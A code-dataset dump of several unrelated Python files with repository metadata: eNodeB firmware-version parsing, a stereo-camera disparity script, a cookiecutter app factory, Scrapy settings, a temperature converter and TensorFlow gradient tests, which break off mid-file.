to select the TR data model used for configuration and status reports Qualcomm-based Baicells eNodeBs use a TR098-based model different from the Intel units. The software version on the Qualcomm models also further limits the model usable by that device. Args: device_oui: string, OUI representing device vendor sw_version: string, firmware version of eNodeB device Returns: DataModel """ if device_oui in {'34ED0B', '48BF74'}: if sw_version.startswith('BaiBS_QAFB'): return EnodebDeviceName.BAICELLS_QAFB elif sw_version.startswith('BaiBS_QAFA'): return EnodebDeviceName.BAICELLS_QAFA elif sw_version.startswith('BaiStation_'): # Note: to disable flag inversion completely (for all builds), # set to BaiStation_V000R000C00B000SPC000 # Note: to force flag inversion always (for all builds), # set to BaiStation_V999R999C99B999SPC999 invert_before_version = \ _parse_sw_version('BaiStation_V100R001C00B110SPC003') if _parse_sw_version(sw_version) < invert_before_version: return EnodebDeviceName.BAICELLS_OLD return EnodebDeviceName.BAICELLS elif sw_version.startswith('BaiBS_RTS_'): return EnodebDeviceName.BAICELLS_RTS elif sw_version.startswith('BaiBS_RTSH_'): return EnodebDeviceName.BAICELLS_RTS else: raise UnrecognizedEnodebError( "Device %s unsupported: Software (%s)" % (device_oui, sw_version), ) elif device_oui in {'000FB7', '744D28'}: return EnodebDeviceName.CAVIUM else: raise UnrecognizedEnodebError("Device %s unsupported" % device_oui) def _parse_sw_version(version_str): """ Parse SW version string. Expects format: BaiStation_V100R001C00B110SPC003 For the above version string, returns: [100, 1, 0, 110, 3] Note: trailing characters (for dev builds) are ignored. Null is returned for version strings that don't match the above format. """ logger.debug('Got firmware version: %s', version_str) version = re.findall( r'BaiStation_V(\d{3})R(\d{3})C(\d{2})B(\d{3})SPC(\d{3})', version_str, ) if not version: return None elif len(version) > 1: logger.warning( 'SW version (%s) not formatted as expected', version_str, ) version_int = [] for num in version[0]: try: version_int.append(int(num)) except ValueError: logger.warning( 'SW version (%s) not formatted as expected', version_str, ) return None logger.debug('Parsed firmware version: %s', version_int) return version_int

34.310345

78

0.668593

4a07d03fdb2dd4ebb408abd5d47a6f9ffbb7f1ce

2,663

py

Python

Raspberry/Stereo/StereoCamera.py

TUM-AERIUS/Aerius

be0ba4dd119b2ae1ba9fdea3a98d1757ef0d7e82

[ "MIT" ]

6

2017-06-05T10:39:37.000Z

2018-05-07T12:03:04.000Z

Raspberry/Stereo/StereoCamera.py

TUM-AERIUS/Aerius

be0ba4dd119b2ae1ba9fdea3a98d1757ef0d7e82

[ "MIT" ]

18

2017-07-08T21:04:48.000Z

2022-03-11T23:14:34.000Z

Raspberry/Stereo/StereoCamera.py

TUM-AERIUS/Aerius

be0ba4dd119b2ae1ba9fdea3a98d1757ef0d7e82

[ "MIT" ]

1

2017-06-16T16:43:20.000Z

from matplotlib import pyplot as plt import numpy as np import cv2 import socket import struct import io import json import os import sys # Useful references: # http://docs.opencv.org/3.0-beta/modules/calib3d/doc/camera_calibration_and_3d_reconstruction.html#reprojectimageto3d # use StereoMatcher::compute to get the disparity matrix # get the the points in 3d space, needs disparity and other values we got from calibration cameraDataFolder = "cameraData.json" path_to_script = os.path.realpath(__file__) parent_directory = os.path.dirname(path_to_script) def getStereoImages(connection): # Requesta new photo from the photo server connection.write(struct.pack('<L', 1)) connection.flush() # Get lengths imageLeftLength = struct.unpack('<L', connection.read(struct.calcsize('<L')))[0] imageRightLength = struct.unpack('<L', connection.read(struct.calcsize('<L')))[0] # Get images # https://picamera.readthedocs.io/en/release-1.10/recipes1.html # streams are in jpeg format # we have to reformat for openCV to be able to read them imageLeftStream = io.BytesIO() imageRightStream = io.BytesIO() imageLeftStream.write(connection.read(imageLeftLength)) imageRightStream.write(connection.read(imageRightLength)) imageLeftStream.seek(0) imageRightStream.seek(0) # construct a numpy array from the stream data = np.fromstring(imageLeftStream.getvalue(), dtype=np.uint8) # "Decode" the image from the array, grayscale image # bgr order imageLeft = cv2.imdecode(data, 0) data = np.fromstring(imageRightStream.getvalue(), dtype=np.uint8) imageRight = cv2.imdecode(data, 0) return imageLeft, imageRight # start server for PhotoServer.py photoSocket = socket.socket() photoSocket.bind(('localhost', 8100)) photoSocket.listen(0) photoConnection = photoSocket.accept()[0].makefile("rwb") # Get calibration data from camerData.json if os.path.isfile(os.path.join(parent_directory, cameraDataFolder)): cameraData = json.loads(cameraDataFolder) else: print("No calibration data found") sys.exit(0) Q = np.array(cameraData["Q"]) window_size = 3 min_disp = 16 num_disp = 112-min_disp stereo = cv2.StereoSGBM_create(minDisparity = min_disp, numDisparities = num_disp, blockSize = 16, P1 = 8*3*window_size**2, P2 = 32*3*window_size**2, disp12MaxDiff = 1, uniquenessRatio = 10, speckleWindowSize = 100, speckleRange = 32 ) while True: img1, img2 = getStereoImages(photoConnection) disparity = stereo.compute(img1, img2) image3D = cv2.reprojectImageTo3D(disparity, Q) plt.imshow(disparity, 'gray') plt.show()

30.261364

118

0.732257

4a07d099ee3a16317f81e818608a893acb08fb39

1,482

py

Python

{{cookiecutter.repo_name}}/{{cookiecutter.project_name}}/app.py

srikiran1/cookiecutter-connexion-microcosm-service

da1dea38e08379e8415202b6aed23f79d2d9d24d

[ "MIT" ]

2

2019-12-10T03:08:09.000Z

2019-12-10T03:08:11.000Z

{{cookiecutter.repo_name}}/{{cookiecutter.project_name}}/app.py

srikiran1/cookiecutter-connexion-microcosm-service

da1dea38e08379e8415202b6aed23f79d2d9d24d

[ "MIT" ]

null

{{cookiecutter.repo_name}}/{{cookiecutter.project_name}}/app.py

srikiran1/cookiecutter-connexion-microcosm-service

da1dea38e08379e8415202b6aed23f79d2d9d24d

[ "MIT" ]

1

2019-12-10T03:08:03.000Z

""" Create the application. """ import pkg_resources from microcosm.api import create_object_graph from microcosm.loaders import load_each, load_from_environ from microcosm_connexion.resolver import MicrocosmResolver from {{ cookiecutter.project_name }}.config import load_default_config import {{ cookiecutter.project_name }}.controllers.pet # noqa import {{ cookiecutter.project_name }}.stores.pet # noqa def create_app(debug=False, testing=False, model_only=False): """ Create the object graph for the application. """ loader = load_each( load_default_config, load_from_environ, ) graph = create_object_graph( name=__name__.split(".")[0], debug=debug, testing=testing, loader=loader, ) graph.use( "logging", "postgres", "sessionmaker", "pet_store", ) if not model_only: graph.use( "connexion", "postgres_session_factory", "configure_connexion_error_handler", "pet_controller", ) api_path = pkg_resources.resource_filename(__name__, "api/api.yml") graph.connexion.add_api(api_path, resolver=MicrocosmResolver(controller=graph.pet_controller, mark_transactional=True), pythonic_params=True, validate_responses=True, ) return graph.lock()

27.444444

117

0.617409

4a07d10bcf59ec46014f0a66f7b548473a6e9a4a

3,202

py

Python

nuforc_reports/nuforc_reports/settings.py

internet-ufo-database/nuforc_sightings_data

cc1299b32e198dfa3c4428d3a3824925cd5dd1c2

[ "MIT" ]

null

nuforc_reports/nuforc_reports/settings.py

internet-ufo-database/nuforc_sightings_data

cc1299b32e198dfa3c4428d3a3824925cd5dd1c2

[ "MIT" ]

null

nuforc_reports/nuforc_reports/settings.py

internet-ufo-database/nuforc_sightings_data

cc1299b32e198dfa3c4428d3a3824925cd5dd1c2

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Scrapy settings for nuforc_reports project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # http://doc.scrapy.org/en/latest/topics/settings.html # http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html # http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html BOT_NAME = 'nuforc_reports' SPIDER_MODULES = ['nuforc_reports.spiders'] NEWSPIDER_MODULE = 'nuforc_reports.spiders' # Crawl responsibly by identifying yourself (and your website) on the user-agent USER_AGENT = 'nuforc_reports (Internet UFO Database)' # Obey robots.txt rules ROBOTSTXT_OBEY = True # Configure maximum concurrent requests performed by Scrapy (default: 16) #CONCURRENT_REQUESTS = 32 # Configure a delay for requests for the same website (default: 0) # See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay # See also autothrottle settings and docs DOWNLOAD_DELAY = 0.10 # The download delay setting will honor only one of: #CONCURRENT_REQUESTS_PER_DOMAIN = 16 #CONCURRENT_REQUESTS_PER_IP = 16 # Disable cookies (enabled by default) #COOKIES_ENABLED = False # Disable Telnet Console (enabled by default) #TELNETCONSOLE_ENABLED = False # Override the default request headers: #DEFAULT_REQUEST_HEADERS = { # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Language': 'en', #} # Enable or disable spider middlewares # See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html #SPIDER_MIDDLEWARES = { # 'nuforc_reports.middlewares.NuforcReportsSpiderMiddleware': 543, #} # Enable or disable downloader middlewares # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html #DOWNLOADER_MIDDLEWARES = { # 'nuforc_reports.middlewares.MyCustomDownloaderMiddleware': 543, #} # Enable or disable extensions # See http://scrapy.readthedocs.org/en/latest/topics/extensions.html #EXTENSIONS = { # 'scrapy.extensions.telnet.TelnetConsole': None, #} # Configure item pipelines # See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html #ITEM_PIPELINES = { # 'nuforc_reports.pipelines.NuforcReportsPipeline': 300, #} # Enable and configure the AutoThrottle extension (disabled by default) # See http://doc.scrapy.org/en/latest/topics/autothrottle.html #AUTOTHROTTLE_ENABLED = True # The initial download delay #AUTOTHROTTLE_START_DELAY = 5 # The maximum download delay to be set in case of high latencies #AUTOTHROTTLE_MAX_DELAY = 60 # The average number of requests Scrapy should be sending in parallel to # each remote server #AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0 # Enable showing throttling stats for every response received: #AUTOTHROTTLE_DEBUG = False # Enable and configure HTTP caching (disabled by default) # See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings #HTTPCACHE_ENABLED = True #HTTPCACHE_EXPIRATION_SECS = 0 #HTTPCACHE_DIR = 'httpcache' #HTTPCACHE_IGNORE_HTTP_CODES = [] #HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'

35.186813

109

0.78326

4a07d1c108f493bec4c778931b0e32272b4e5794

267

py

Python

temperatureConversion.py

flyingsonu122/Python

f7649615882b77c8fdbd8dc20e954266ee8d1fc2

[ "MIT" ]

1

2020-10-06T12:40:00.000Z

temperatureConversion.py

flyingsonu122/Python

f7649615882b77c8fdbd8dc20e954266ee8d1fc2

[ "MIT" ]

null

temperatureConversion.py

flyingsonu122/Python

f7649615882b77c8fdbd8dc20e954266ee8d1fc2

[ "MIT" ]

null

fahrenheit = input('What is the temperature in Fahrenheit? ') if fahrenheit.isnumeric() == False: print('Input is not a number.') exit() fahrenheit = int(fahrenheit) celsius = int((fahrenheit - 32) * 5/9) print('Temperature in celsius is ' + str(celsius))

26.7

62

0.685393

4a07d2949a8ad44454ef4d4f15255a14a8f66734

26,559

py

Python

tensorflow/python/ops/math_grad_test.py

joshz123/tensorflow

7841ca029060ab78e221e757d4b1ee6e3e0ffaa4

[ "Apache-2.0" ]

78

2020-08-04T12:36:25.000Z

2022-03-25T04:23:40.000Z

tensorflow/python/ops/math_grad_test.py

sagol/tensorflow

04f2870814d2773e09dcfa00cbe76a66a2c4de88

[ "Apache-2.0" ]

203

2019-06-14T23:53:10.000Z

2022-02-10T02:27:23.000Z

tensorflow/python/ops/math_grad_test.py

sagol/tensorflow

04f2870814d2773e09dcfa00cbe76a66a2c4de88

[ "Apache-2.0" ]

66

2020-05-15T10:05:12.000Z

2022-02-14T07:28:18.000Z

# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for Python ops defined in math_grad.py.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.debug.lib import check_numerics_callback from tensorflow.python.eager import backprop from tensorflow.python.eager import context from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import test_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import gradient_checker from tensorflow.python.ops import gradient_checker_v2 from tensorflow.python.ops import gradients from tensorflow.python.ops import math_ops from tensorflow.python.platform import test class SquaredDifferenceOpTest(test.TestCase): def _testGrad(self, left_shape, right_shape): if len(left_shape) > len(right_shape): output_shape = left_shape else: output_shape = right_shape l = np.random.randn(*left_shape) r = np.random.randn(*right_shape) with self.cached_session(use_gpu=True): left_tensor = constant_op.constant(l, shape=left_shape) right_tensor = constant_op.constant(r, shape=right_shape) output = math_ops.squared_difference(left_tensor, right_tensor) left_err = gradient_checker.compute_gradient_error( left_tensor, left_shape, output, output_shape, x_init_value=l) right_err = gradient_checker.compute_gradient_error( right_tensor, right_shape, output, output_shape, x_init_value=r) self.assertLess(left_err, 1e-10) self.assertLess(right_err, 1e-10) @test_util.run_deprecated_v1 def testGrad(self): self._testGrad([1, 2, 3, 2], [3, 2]) self._testGrad([2, 4], [3, 2, 4]) class AbsOpTest(test.TestCase): def _biasedRandN(self, shape, bias=0.1, sigma=1.0): """Returns samples from a normal distribution shifted `bias` away from 0.""" value = np.random.randn(*shape) * sigma return value + np.sign(value) * bias def _testGrad(self, shape, dtype=None, max_error=None, bias=None, sigma=None): np.random.seed(7) if dtype in (dtypes.complex64, dtypes.complex128): value = math_ops.complex( self._biasedRandN( shape, bias=bias, sigma=sigma), self._biasedRandN( shape, bias=bias, sigma=sigma)) else: value = ops.convert_to_tensor( self._biasedRandN( shape, bias=bias), dtype=dtype) with self.cached_session(use_gpu=True): output = math_ops.abs(value) error = gradient_checker.compute_gradient_error( value, shape, output, output.get_shape().as_list()) self.assertLess(error, max_error) @test_util.run_deprecated_v1 def testComplexAbs(self): # Bias random test values away from zero to avoid numeric instabilities. self._testGrad( [3, 3], dtype=dtypes.float32, max_error=2e-5, bias=0.1, sigma=1.0) self._testGrad( [3, 3], dtype=dtypes.complex64, max_error=2e-5, bias=0.1, sigma=1.0) # Ensure stability near the pole at zero. self._testGrad( [3, 3], dtype=dtypes.float32, max_error=100.0, bias=0.0, sigma=0.1) self._testGrad( [3, 3], dtype=dtypes.complex64, max_error=100.0, bias=0.0, sigma=0.1) class MinOrMaxGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testMinGradient(self): inputs = constant_op.constant([1.0], dtype=dtypes.float32) outputs = math_ops.reduce_min(array_ops.concat([inputs, inputs], 0)) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [1], outputs, []) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testMaxGradient(self): inputs = constant_op.constant([1.0], dtype=dtypes.float32) outputs = math_ops.reduce_max(array_ops.concat([inputs, inputs], 0)) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [1], outputs, []) self.assertLess(error, 1e-4) class MaximumOrMinimumGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testMaximumGradient(self): inputs = constant_op.constant([1.0, 2.0, 3.0, 4.0], dtype=dtypes.float32) outputs = math_ops.maximum(inputs, 3.0) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [4], outputs, [4]) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testMinimumGradient(self): inputs = constant_op.constant([1.0, 2.0, 3.0, 4.0], dtype=dtypes.float32) outputs = math_ops.minimum(inputs, 2.0) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [4], outputs, [4]) self.assertLess(error, 1e-4) class ProdGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testProdGradient(self): inputs = constant_op.constant([[1., 2.], [3., 4.]], dtype=dtypes.float32) outputs = math_ops.reduce_prod(inputs) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testProdGradientForNegativeAxis(self): inputs = constant_op.constant([[1., 2.], [3., 4.]], dtype=dtypes.float32) outputs = math_ops.reduce_prod(inputs, -1) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testProdGradientComplex(self): for dtype in dtypes.complex64, dtypes.complex128: inputs = constant_op.constant([[1 + 3j, 2 - 1j], [3j, 4]], dtype=dtype) outputs = math_ops.reduce_prod(inputs) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testProdGradientForNegativeAxisComplex(self): for dtype in dtypes.complex64, dtypes.complex128: inputs = constant_op.constant([[1 + 3j, 2 - 1j], [3j, 4]], dtype=dtype) outputs = math_ops.reduce_prod(inputs, -1) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_all_in_graph_and_eager_modes class EuclideanNormGradientTest(test.TestCase): def testBasic(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([3], dtype=dtype) grad = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grad) self.assertLess(err, 1e-3) def testNegative(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([-3], dtype=dtype) grad = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grad) self.assertLess(err, 1e-3) def testKeepdims(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([3], dtype=dtype) grad = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grad) self.assertLess(err, 1e-3) def testGradientChain(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([3], dtype=dtype) grad = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x) * 5, [x]) err = gradient_checker_v2.max_error(*grad) self.assertLess(err, 1e-3) def testTwoElements(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([3, -4], dtype=dtype) grad = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grad) self.assertLess(err, 1e-3) def testNegativeZero(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([1.0, -0.0], dtype=dtype) with backprop.GradientTape() as tape: tape.watch(x) y = math_ops.reduce_euclidean_norm(x) dx = tape.gradient(y, x) dx_answer = constant_op.constant([1.0, -0.0], dtype=dtype) self.assertAllClose(dx, dx_answer) self.assertAllClose(1.0 / dx, 1.0 / dx_answer) def testZeros(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([0.0, -0.0], dtype=dtype) with backprop.GradientTape() as tape: tape.watch(x) y = math_ops.reduce_euclidean_norm(x) dx = tape.gradient(y, x) dx_answer = constant_op.constant( [float("NaN"), float("NaN")], dtype=dtype) self.assertAllClose(dx, dx_answer) def test2D_1(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[-3, 5], [7, 11]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 1e-3) def test2D_2(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[-3, 5], [7, 11]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 0), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 1e-3) def test2D_3(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[-3, 5], [7, 11]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 1), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 1e-3) def test2D_4(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[3], [4]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 1), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 1e-3) def test3D_1(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[[-3, 5], [7, 11]], [[13, 17], [19, 23]]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( math_ops.reduce_euclidean_norm, [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 2e-3) def test3D_2(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[[-3, 5], [7, 11]], [[13, 17], [19, 23]]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 0), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 2e-3) def test3D_3(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[[-3, 5], [7, 11]], [[13, 17], [19, 23]]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 1), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 3e-3) def test3D_4(self): for dtype in [dtypes.float32, dtypes.float64]: x = constant_op.constant([[[-3, 5], [7, 11]], [[13, 17], [19, 23]]], dtype=dtype) grads = gradient_checker_v2.compute_gradient( lambda x: math_ops.reduce_euclidean_norm(x, 2), [x]) err = gradient_checker_v2.max_error(*grads) self.assertLess(err, 2e-3) class SegmentMinOrMaxGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testSegmentMinGradient(self): data = constant_op.constant([1.0, 2.0, 3.0], dtype=dtypes.float32) segment_ids = constant_op.constant([0, 0, 1], dtype=dtypes.int64) segment_min = math_ops.segment_min(data, segment_ids) with self.cached_session(): error = gradient_checker.compute_gradient_error(data, [3], segment_min, [2]) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testSegmentMaxGradient(self): data = constant_op.constant([1.0, 2.0, 3.0], dtype=dtypes.float32) segment_ids = constant_op.constant([0, 0, 1], dtype=dtypes.int64) segment_max = math_ops.segment_max(data, segment_ids) with self.cached_session(): error = gradient_checker.compute_gradient_error(data, [3], segment_max, [2]) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testSegmentMinGradientWithTies(self): inputs = constant_op.constant([1.0], dtype=dtypes.float32) data = array_ops.concat([inputs, inputs], 0) segment_ids = constant_op.constant([0, 0], dtype=dtypes.int64) segment_min = math_ops.segment_min(data, segment_ids) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [1], segment_min, [1]) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testSegmentMaxGradientWithTies(self): inputs = constant_op.constant([1.0], dtype=dtypes.float32) data = array_ops.concat([inputs, inputs], 0) segment_ids = constant_op.constant([0, 0], dtype=dtypes.int64) segment_max = math_ops.segment_max(data, segment_ids) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [1], segment_max, [1]) self.assertLess(error, 1e-4) class FloorModGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testFloorModGradient(self): # Making sure the input is not near the discontinuity point where # x/y == floor(x/y) ns = constant_op.constant([17.], dtype=dtypes.float32) inputs = constant_op.constant([131.], dtype=dtypes.float32) floor_mod = math_ops.floormod(inputs, ns) with self.cached_session(): error = gradient_checker.compute_gradient_error(inputs, [1], floor_mod, [1]) self.assertLess(error, 1e-4) class DivNoNanGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testBasicGradient(self): inputs = constant_op.constant(np.arange(-3, 3), dtype=dtypes.float32) outputs = math_ops.div_no_nan(inputs, 1 + math_ops.abs(inputs)) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testGradientWithDenominatorIsZero(self): x = constant_op.constant(np.arange(-3, 3), dtype=dtypes.float32) y = array_ops.zeros_like(x, dtype=dtypes.float32) outputs = math_ops.div_no_nan(x, y) with self.cached_session(): dx, dy = gradients.gradients(outputs, [x, y]) self.assertAllClose(dx.eval(), np.zeros(x.shape.as_list())) self.assertAllClose(dy.eval(), np.zeros(y.shape.as_list())) class MulNoNanGradientTest(test.TestCase): @test_util.run_deprecated_v1 def testBasicGradient(self): inputs = constant_op.constant(np.arange(-3, 3), dtype=dtypes.float32) outputs = math_ops.mul_no_nan(inputs, 1 + math_ops.abs(inputs)) with self.cached_session(): error = gradient_checker.compute_gradient_error( inputs, inputs.get_shape().as_list(), outputs, outputs.get_shape().as_list()) self.assertLess(error, 1e-4) @test_util.run_deprecated_v1 def testGradientWithRhsIsZero(self): x_vals = [0, 1.0, np.nan, np.inf, np.NINF] x = constant_op.constant(x_vals, dtype=dtypes.float32) y = array_ops.zeros_like(x, dtype=dtypes.float32) outputs = math_ops.mul_no_nan(x, y) with self.cached_session(): dx, dy = gradients.gradients(outputs, [x, y]) self.assertAllClose(dx.eval(), np.zeros(x.shape.as_list())) self.assertAllClose(dy.eval(), x_vals) class XlogyTest(test.TestCase): def _xlogy_gradients(self, x, y): xlogy_xgrad = self.evaluate(gradients.gradients(math_ops.xlogy(x, y), x)[0]) xlogy_ygrad = self.evaluate(gradients.gradients(math_ops.xlogy(x, y), y)[0]) return xlogy_xgrad, xlogy_ygrad @test_util.run_deprecated_v1 def testNonZeroValuesGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xlogy_xgrad, xlogy_ygrad = self._xlogy_gradients(x, y) xlogy_expected_xgrad = self.evaluate(math_ops.log(y)) xlogy_expected_ygrad = self.evaluate(x / y) self.assertAllClose(xlogy_expected_xgrad, xlogy_xgrad) self.assertAllClose(xlogy_expected_ygrad, xlogy_ygrad) @test_util.run_deprecated_v1 def testZeroXGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xlogy_xgrad, xlogy_ygrad = self._xlogy_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xlogy_xgrad) self.assertAllClose(zero, xlogy_ygrad) @test_util.run_deprecated_v1 def testZeroYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(0., dtype=dtype) xlogy_xgrad, xlogy_ygrad = self._xlogy_gradients(x, y) self.assertAllClose(-np.inf, xlogy_xgrad) self.assertAllClose(np.inf, xlogy_ygrad) @test_util.run_deprecated_v1 def testZeroXYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(0., dtype=dtype) xlogy_xgrad, xlogy_ygrad = self._xlogy_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xlogy_xgrad) self.assertAllClose(zero, xlogy_ygrad) class Xlog1pyTest(test.TestCase): def _xlog1py_gradients(self, x, y): xlog1py_xgrad = self.evaluate( gradients.gradients(math_ops.xlog1py(x, y), x)[0]) xlog1py_ygrad = self.evaluate( gradients.gradients(math_ops.xlog1py(x, y), y)[0]) return xlog1py_xgrad, xlog1py_ygrad @test_util.run_deprecated_v1 def testNonZeroValuesGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xlog1py_xgrad, xlog1py_ygrad = self._xlog1py_gradients(x, y) xlog1py_expected_xgrad = self.evaluate(math_ops.log1p(y)) xlog1py_expected_ygrad = self.evaluate(x / (1. + y)) self.assertAllClose(xlog1py_expected_xgrad, xlog1py_xgrad) self.assertAllClose(xlog1py_expected_ygrad, xlog1py_ygrad) @test_util.run_deprecated_v1 def testZeroXGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xlog1py_xgrad, xlog1py_ygrad = self._xlog1py_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xlog1py_xgrad) self.assertAllClose(zero, xlog1py_ygrad) @test_util.run_deprecated_v1 def testNegOneYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(-1., dtype=dtype) xlog1py_xgrad, xlog1py_ygrad = self._xlog1py_gradients(x, y) self.assertAllClose(-np.inf, xlog1py_xgrad) self.assertAllClose(np.inf, xlog1py_ygrad) @test_util.run_deprecated_v1 def testZeroXNegOneYGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0., dtype=dtype) y = constant_op.constant(-1., dtype=dtype) xlog1py_xgrad, xlog1py_ygrad = self._xlog1py_gradients(x, y) zero = self.evaluate(x) self.assertAllClose(zero, xlog1py_xgrad) self.assertAllClose(zero, xlog1py_ygrad) class XdivyTest(test.TestCase): def _xdivy_gradients(self, x, y): xdivy_xgrad = self.evaluate(gradients.gradients(math_ops.xdivy(x, y), x)[0]) xdivy_ygrad = self.evaluate(gradients.gradients(math_ops.xdivy(x, y), y)[0]) return xdivy_xgrad, xdivy_ygrad @test_util.run_deprecated_v1 def testNonZeroValuesGrad(self): for dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: x = constant_op.constant(0.1, dtype=dtype) y = constant_op.constant(3.1, dtype=dtype) xdivy_xgrad, xdivy_ygrad = 